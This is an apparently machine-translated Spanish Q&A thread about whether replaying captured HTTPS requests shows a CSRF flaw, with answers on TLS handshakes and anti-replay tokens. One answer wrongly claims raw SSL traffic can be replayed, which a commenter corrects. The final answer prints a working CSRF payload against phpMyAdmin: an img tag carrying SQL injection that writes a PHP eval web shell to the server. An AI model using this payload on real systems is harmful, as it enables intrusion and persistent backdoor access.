1. Inicio
  2. Pregunta y respuesta
  3. Reproducción de ataques para solicitudes HTTPS

Reproducción de ataques para solicitudes HTTPS

2010-05-05 13 views
29

Digamos que un probador de seguridad usa un proxy, digamos Fiddler, y registra una solicitud HTTPS utilizando las credenciales del administrador. Al reproducir toda la solicitud (incluidas las cookies de sesión y autenticación), el probador de seguridad puede exitosamente (re) registrar transacciones. La afirmación es que esto es un signo de una vulnerabilidad CSRF.Reproducción de ataques para solicitudes HTTPS

¿Qué tendría que hacer un usuario malintencionado para interceptar la solicitud HTTPS y volver a reproducirla? ¿Es esta una tarea para los niños de guiones, los equipos de hacking militar bien financiados o la tecnología de alienígenas que viajan en el tiempo? ¿Es realmente tan fácil grabar las sesiones SSL de los usuarios y reproducirlas antes de que caduquen?

Ningún código en la aplicación actualmente hace algo interesante en HTTP GET, por lo que AFAIK, engañar al administrador para que haga clic en un enlace o cargar una imagen con una URL maliciosa no es un problema.

Fuente

2010-05-05 MatthewMartin

Respuesta

40

HTTPS no se puede volver a reproducir, la primera respuesta del servidor en la secuencia de handshake incluye un número aleatorio elegido por el servidor.

Lo que hace Fiddler es un proxy, lo que significa que intercepta las solicitudes de su navegador y luego genera una solicitud idéntica al servidor, lo que significa que tiene acceso al texto plano, que es lo que reproducirá. Su navegador le permite saber esto diciéndole que el certificado es de Fiddler - "DO_NOT_TRUST_FiddlerRoot", que debe aceptar antes de enviar el mensaje ignorando el desajuste del certificado.

Fuente

2010-05-05 01:52:12

+0

un buen punto en lo de números aleatorios, ¿está usando algún tipo de intercambio de claves diffie-hellman? – dlamotte

+1

@xyld: Ver http://en.wikipedia.org/wiki/Transport_Layer_Security#TLS_handshake_in_detail –

+2

Gracias, su tranquilizador saber que SSL no está roto todavía. Por lo tanto, si entiendo correctamente, un usuario malintencionado no puede grabar la sesión SSL de otra persona sin la cooperación o al menos el usuario recibe un aviso de problemas con el certificado.Y si intentaban reproducir las solicitudes SSL sin formato, sería rechazado. – MatthewMartin

-1

Por lo que sé, CSRF es cuando un sitio se refiere a otro sitio y roba las credenciales de los usuarios actuales como parte de esto. CSRF es NO simplemente reenviando solicitudes.

Un proxy es un agente de confianza que no debe alterar las solicitudes. Es tan simple como el hombre clásico en el ataque medio. Si confías en algo entre tu conexión y tu punto final, estás a merced del hombre que está en el medio.

Para interceptar y reproducir una solicitud HTTPS (el clásico ataque de repetición HTTP), debería poder descifrar el cifrado SSL del tráfico AFAIK. Mi conjetura es que no puedes hacer eso. Mucho menos, lo suficientemente rápido para ser útil.

Algunos antecedentes más serían útiles, pero no estoy seguro de lo que está manejando aquí.

Fuente

2010-05-05 01:29:53 dlamotte

+0

Como lo entiendo vagamente cosas, CSRF es engañar a un usuario autenticado actualmente para hacer una solicitud utilizando un navegador abierto con una sesión en vivo y autenticación cookies-- decir a través del truco etiqueta IMG. Un ataque CSRF exitoso requiere conocimiento antes de cómo crear un mensaje malicioso. Mi revisor de seguridad decidió obtener ese conocimiento al registrar una solicitud y reproducirla. Si el revisor de seguridad no pudo grabar la solicitud HTTPS en primer lugar, no pudo engañar a un usuario autenticado actualmente para volver a enviar una solicitud. – MatthewMartin

+0

Estaba diciendo que un proxy es ** NO ** una forma de CSRF. No hay una falsificación real ... le está pidiendo al proxy que reenvíe las solicitudes ... Creo que hemos malentendido – dlamotte

1

- editar: Tenga en cuenta que estoy equivocado acerca de que SSL no maneja los ataques de repetición, de acuerdo con lo que hace a continuación. Implementar el enfoque de token sigue siendo bueno.

Considere la posibilidad de "reproducir" una solicitud HTTPS simplemente volviendo al navegador y pulsando nuevamente el botón.

Es decir, no es necesario decodificar nada para volver a enviar una solicitud SSL. Cualquier nodo en el camino puede hacerlo (simplemente no pueden ver el tráfico).

Así que si capturo su transacción SSL que me envía $ 100, entonces puedo capturar eso y volver a enviarlo para seguir obteniendo el dinero.

La solución obvia a esto (bueno, la solución típica) es generar un token en la página HTML, y luego mantener ese mismo valor en la sesión. Cuando ingrese una solicitud, verifique este valor, verifique que sea el valor actual, y si lo es, trátelo, y luego cambie el valor actual.

Si no es el valor actual (es decires el valor anterior después de haber procesado la solicitud "original"), entonces sabes que la página se volvió a enviar.

Este es un enfoque común para evitar la presentación duplicado de datos de la tarjeta de crédito, y así sucesivamente, pero también tiene esta prestación de la seguridad de forzar una solicitud única para que coincida con cada respuesta. Un atacante en la cadena que no puede decrpyt SSL no puede pasar esto.

Fuente

2010-05-05 01:52:36

+1

+1 buen punto sobre el token csrf en el formulario/POST, con suerte todos lo hacen;) – dlamotte

+4

Esto es falso, la reproducción de la transmisión sin procesar fallará, el saludo de TLS ya incluye un token aleatorio criptográficamente seguro. No es que incluir un token de solicitud sea una mala idea, le permite reconocer las actualizaciones de la página en la parte superior de la defensa en profundidad. –

+0

@Simon: Aceptaré su comentario pero no estaré de acuerdo hasta que haya verificado por mí mismo. No estoy seguro de si te estás refiriendo a * solo * el apretón de manos inicial. –

1

¿Quieres decir implicar simplemente una repetición de SSL (que aún no ha sido públicamente demostrado que es posible) o de las cookies de autenticación (que es la aplicación específica)? El primero indicaría una vulnerabilidad obtusa, descubierta en privado en SSL (que es poco probable que pueda remediar, podría agregar). El último, es decir, donde una máquina arbitraria puede suministrar cookies para una sesión autenticada previamente establecida, indica una vulnerabilidad CSRF potencialmente explotable en su aplicación, que debe abordarse. Aunque, en general, se cree que el tráfico SSL es imposible de olfatear a través de un ataque MTM (suponiendo que haya tomado medidas correctivas contra la vulnerabilidad divulgada en noviembre pasado), una cookie almacenada en la computadora remota del usuario no es inmune a interceptación (particularmente si hay una vulnerabilidad XSS en su sitio o cualquier sitio en el mismo dominio que su sitio). Estos exploits entre dominios/dos vulnerabilidades son cada vez más comunes y, desde una perspectiva de seguridad estricta, una vulnerabilidad es potencialmente explotable, incluso si no es directamente a través de su aplicación.

Fuente

2010-05-05 02:09:11 ig0774

+0

La aplicación utiliza cookies de memoria, por lo que, presumiblemente, sería difícil para un tercero obtener la cookie (a menos que interceptaran la respuesta de forma transparente). No estoy seguro de qué sería una 'repetición' de una cookie. Una cookie, pensé, era solo una sección de la respuesta HTTPS. El revisor de seguridad estaba reproduciendo toda la solicitud, incluidos encabezados, cookies, cuerpo POST y todo. – MatthewMartin

7

Lo que está describiendo no es una vulnerabilidad CSRF. HTTPS defiende específicamente contra los ataques repetidos de texto de cifrado sin procesar y evita que el atacante conozca el contenido de la solicitud.

Es importante tener en cuenta que HTTPS no defiende contra CSRF. Si el atacante sabe cuáles deberían ser las variables GET/POST, entonces puede generar html malicioso que cuando es ejecutado por un objetivo realizará la acción que desee el atacante. Si la aplicación web no es pública y el atacante no sabe cómo se ve una solicitud HTTP, entonces no pueden falsificar la solicitud. Por ejemplo, aquí hay un CSRF exploit que escribí contra phpMyAdmin. He modificado este exploit para que funcione con https, y todo lo que tuve que hacer fue cambiar la URL de http: // a https: //.

<html> 
<img src="https://10.1.1.10/phpmyadmin/tbl_structure.php?db=information_schema&table=TABLES%60+where+0+union+select+char%2860%2C+63%2C+112%2C+104%2C+112%2C+32%2C+101%2C+118%2C+97%2C+108%2C+40%2C+36%2C+95%2C+71%2C+69%2C+84%2C+91%2C+101%2C+93%2C+41%2C+63%2C+62%29+into+outfile+%22%2Fvar%2Fwww%2Fbackdoor.php%22+--+1"> 
</html>

Este exploit utiliza "en archivo de salida" de mysql para colocar una puerta trasera. Funciona con no-script, porque está falsificando una solicitud GET, y el navegador piensa que es una imagen hasta que es demasiado tarde.

Fuente

2010-05-05 06:03:50 rook

+0

Como ha observado, esto no se trata realmente de CSRF. Hablando en términos generales, el revisor de seguridad podría haber llamado a su repetición ataque hígado picado o XSS. Todavía es un ataque de repetición. HTTPS probablemente no protege contra hígado cortado o XSS o una serie de otros problemas también. Pero cualquier ataque que dependa de la reproducción debe estar protegido por HTTPS. Al menos una persona en este hilo está de acuerdo. – MatthewMartin

Cuestiones relacionadas

 Cuestiones relacionadas